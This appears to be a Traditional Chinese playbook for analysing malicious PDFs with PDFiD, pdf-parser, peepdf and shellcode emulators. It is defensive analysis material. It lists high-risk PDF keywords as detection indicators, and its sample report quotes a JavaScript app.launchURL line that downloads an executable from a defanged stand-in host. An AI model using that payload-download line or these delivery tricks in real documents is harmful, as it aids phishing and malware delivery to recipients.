使用 PDFiD 分析 PDF 惡意軟體 是做什麼的?
使用時機
- 電子郵件安全閘道或使用者回報有可疑的 PDF 附件時
- 需要判斷 PDF 是否包含嵌入的 JavaScript、Shellcode 或漏洞利用程式碼
- 在沙箱或分析環境開啟前,先對 PDF 文件進行分類
- 從惡意 PDF 物件中提取嵌入的可執行檔、腳本或 URL
- 分析針對 Adobe Reader 或其他 PDF 檢視器漏洞的漏洞利用套件
請勿使用此技能分析 PDF 的渲染視覺內容;這是針對 PDF 檔案格式中惡意物件的結構分析。
先決條件
- Python 3.8+ 並安裝 Didier Stevens 的 PDF 工具(
pip install pdfid pdf-parser) - 安裝 peepdf 以進行互動式 PDF 分析(
pip install peepdf) - 安裝 poppler-utils 中的 pdftotext,以便安全提取文字內容
- 安裝 YARA 並搭配特定於 PDF 的規則,用於惡意軟體家族識別
- 使用隔離的分析 VM,且不要安裝 PDF 閱讀器(防止意外開啟)
- 使用 CyberChef 解碼嵌入的 Base64、十六進位或 Deflate 串流
工作流程
步驟 1:使用 PDFiD 進行初步分類
掃描 PDF 中可疑的關鍵字與結構:
# 執行 PDFiD 以識別可疑元素
pdfid suspect.pdf
# 預期輸出分析說明:
# /JS - JavaScript(高風險)
# /JavaScript - JavaScript 物件(高風險)
# /AA - 開啟時自動執行的動作(高風險)
# /OpenAction - 文件開啟時執行的動作(高風險)
# /Launch - 啟動外部應用程式(高風險)
# /EmbeddedFile - 嵌入檔案(中風險)
# /RichMedia - Flash 內容(中風險)
# /ObjStm - 物件串流(用於混淆)
# /URI - URL 參考(情境風險)
# /AcroForm - 互動表單(中風險)
# 以額外詳細資訊執行
pdfid -e suspect.pdf
# 以解除武裝(重新命名可疑關鍵字)模式執行
pdfid -d suspect.pdf
PDFiD 風險評估:
━━━━━━━━━━━━━━━━━━━━━
高風險指標(任何計數 > 0):
/JS, /JavaScript -> 嵌入的 JavaScript 程式碼
/AA -> 自動動作(無需使用者互動即觸發)
/OpenAction -> 文件開啟時執行的程式碼
/Launch -> 可啟動外部可執行檔
/JBIG2Decode -> 與 CVE-2009-0658 漏洞相關
中風險指標:
/EmbeddedFile -> 包含嵌入檔案(可能是 EXE/DLL)
/RichMedia -> Flash/多媒體(Flash 漏洞)
/AcroForm -> 具有可能提交動作的表單
/XFA -> XML Forms Architecture(複雜攻擊面)
低風險指標:
/ObjStm -> 物件串流(混淆技術)
/URI -> 外部 URL 參考
/Page -> 頁數(僅供參考)
步驟 2:使用 pdf-parser 剖析 PDF 結構
檢查 PDFiD 識別出的可疑物件:
# 列出所有參考 JavaScript 的物件
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# 列出所有包含 OpenAction 的物件
pdf-parser --search "/OpenAction" suspect.pdf
# 依 ID 提取特定物件(例如:物件 5)
pdf-parser --object 5 suspect.pdf
# 提取並解壓縮串流內容
pdf-parser --object 5 --filter --raw suspect.pdf
# 搜尋嵌入檔案
pdf-parser --search "/EmbeddedFile" suspect.pdf
# 列出所有物件及其類型
pdf-parser --stats suspect.pdf
步驟 3:提取並分析嵌入的 JavaScript
從 PDF 物件中取出 JavaScript 程式碼:
# 使用 pdf-parser 提取 JavaScript
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# 替代方案:使用 peepdf 進行互動式 JavaScript 提取
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf 用於 JS 分析的互動式指令:
# js_analyse - 提取並顯示所有 JavaScript 程式碼
# js_beautify - 格式化提取的 JavaScript
# js_eval <物件> - 在沙箱環境中評估 JavaScript
# object <id> - 顯示物件內容
# rawobject <id> - 顯示原始物件位元組
# stream <id> - 顯示解壓縮後的串流
# offsets - 顯示檔案中的物件偏移量
# 用於全面 PDF JavaScript 提取的 Python 腳本
import subprocess
import re
# 提取所有串流並搜尋 JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# 尋找包含 JavaScript 參考的物件 ID
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# 提取每個包含 JavaScript 的物件
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== 物件 {obj_id} ===")
print(result.stdout[:2000])
步驟 4:分析嵌入的 Shellcode
從 PDF 漏洞利用中提取並檢查 Shellcode:
# 提取原始串流資料以供 Shellcode 分析
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# 使用 scdbg(Shellcode 除錯器)分析 Shellcode
scdbg /f shellcode.bin
# 替代方案:使用 speakeasy 進行 Shellcode 模擬
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# 檢視 Shellcode 發出的 API 呼叫
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# 使用 CyberChef 解碼十六進位/Base64 編碼的 Shellcode
# 輸入:提取的串流資料
# 配方:From Hex -> Disassemble x86
步驟 5:提取嵌入檔案與 URL
取出嵌入的可執行檔和連結資源:
# 從 PDF 中提取嵌入檔案
import subprocess
import hashlib
# 尋找嵌入的檔案物件
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# 透過搜尋 MZ 標頭來提取嵌入的 PE 檔案
with open("suspect.pdf", "rb") as f:
data = f.read()
# 搜尋嵌入的 PE 檔案
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# 驗證 PE 簽名
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"在偏移量 0x{pos:X} 處找到嵌入的 PE")
# 提取(估計大小或使用 PE 標頭)
embedded = data[pos:pos+100000] # 初始提取
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# 從 PDF 中提取 URL
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
步驟 6:產生分析報告
記錄 PDF 分析的所有發現:
分析應涵蓋:
- PDFiD 分類結果(可疑關鍵字計數)
- PDF 結構異常(物件串流、交叉參考問題)
- 提取的 JavaScript 程式碼(必要時去混淆)
- Shellcode 分析結果(API 呼叫、網路指標)
- 提取的嵌入檔案及其雜湊值
- URL 與外部參考
- CVE 識別(若偵測到已知漏洞)
- YARA 規則對已知 PDF 惡意軟體家族的比對結果
關鍵概念
| 術語 | 定義 |
|---|---|
| PDF 物件 | PDF 檔案的基本構建區塊;物件可包含串流(壓縮資料)、字典、陣列,以及對其他物件的參考 |
| OpenAction | PDF 字典中的條目,指定文件開啟時要執行的動作;通常用於觸發 JavaScript 漏洞 |
| PDF 串流 | PDF 物件內的壓縮資料,可包含 JavaScript、圖片、嵌入檔案或 Shellcode;通常使用 FlateDecode 壓縮 |
| FlateDecode | 應用於 PDF 串流的 Zlib/deflate 壓縮濾鏡;必須解壓縮才能分析內容 |
| ObjStm (物件串流) | 將多個物件儲存在單一壓縮串流中的 PDF 功能;惡意軟體利用此功能隱藏可疑物件 |
| JBIG2 | PDF 中的圖像壓縮標準;歷史上曾是漏洞利用的來源(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | Adobe 專有的 JavaScript 擴充功能,可在 PDF 文件中用於表單操作、網路存取和作業系統互動 |
工具與系統
- PDFiD:Didier Stevens 的工具,用於在不解析完整文件的情況下掃描 PDF 文件中的可疑關鍵字和結構
- pdf-parser:PDFiD 的配套工具,用於詳細的 PDF 物件提取、串流解壓縮和內容分析
- peepdf:基於 Python 的 PDF 分析工具,提供用於物件檢查和 JavaScript 提取的互動式 shell
- QPDF:PDF 轉換工具,用於線性化、解密和重組 PDF,以便於分析
- scdbg:Shellcode 分析工具,可模擬 x86 Shellcode 執行並記錄 API 呼叫
常見場景
場景:分類含有嵌入 JavaScript 的釣魚 PDF
情境:電子郵件閘道標記了一個帶有可疑 JavaScript 指標的 PDF 附件。安全團隊需要判斷它包含的是漏洞利用還是社交工程重新導向。
方法:
- 執行 PDFiD 確認 /JS、/JavaScript 和 /OpenAction 的存在及其計數
- 使用 pdf-parser 提取 OpenAction 物件並追蹤其參考鏈
- 從參考的串流物件中提取 JavaScript 程式碼(套用 FlateDecode 濾鏡)
- 對 JavaScript 進行去混淆處理(解碼十六進位字串、解析 eval 鏈)
- 判斷腳本是否利用 PDF 閱讀器漏洞(檢查堆疊噴射、ROP 鏈)或執行重新導向
- 提取所有 URL、IP 和嵌入檔案作為入侵指標 (IOC)
- 分類樣本:漏洞利用(特定 CVE)或社交工程(重新導向/釣魚)
陷阱:
- 在標準閱讀器中開啟 PDF,而不是使用命令列工具進行分析
- 遺漏藏在物件串流 (/ObjStm) 中的 JavaScript;PDFiD 能偵測到,但簡單的解析器會遺漏
- 在分析前未解壓縮串流(FlateDecode、ASCIIHexDecode、ASCII85Decode 濾鏡)
- 假設缺少 /JS 就表示沒有 JavaScript;程式碼可能嵌入在表單欄位中(/AcroForm 搭配 /XFA)
輸出格式
PDF 惡意軟體分析報告
==============================
檔案: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
檔案大小: 45,312 位元組
PDF 版本: 1.7
PDFID 分類結果
/JS: 1 [高風險]
/JavaScript: 1 [高風險]
/OpenAction: 1 [高風險]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [混淆]
可疑物件
物件 5: /OpenAction -> 參考物件 8
物件 8: /JavaScript 串流(FlateDecode,解壓縮後 2,847 位元組)
物件 12: /ObjStm 包含物件 15-18
提取的 JavaScript
第一層: eval(unescape("%68%65%6C%6C%6F"))
第二層: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// 社交工程重新導向,非漏洞利用
提取的 IOC
URL: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
網域: malicious[.]com, fake-login[.]com
分類
類型: 社交工程(URL 重新導向)
CVE: 無(未偵測到漏洞程式碼)
風險: 高(下載可執行檔酬載)
家族: 通用 PDF 投放器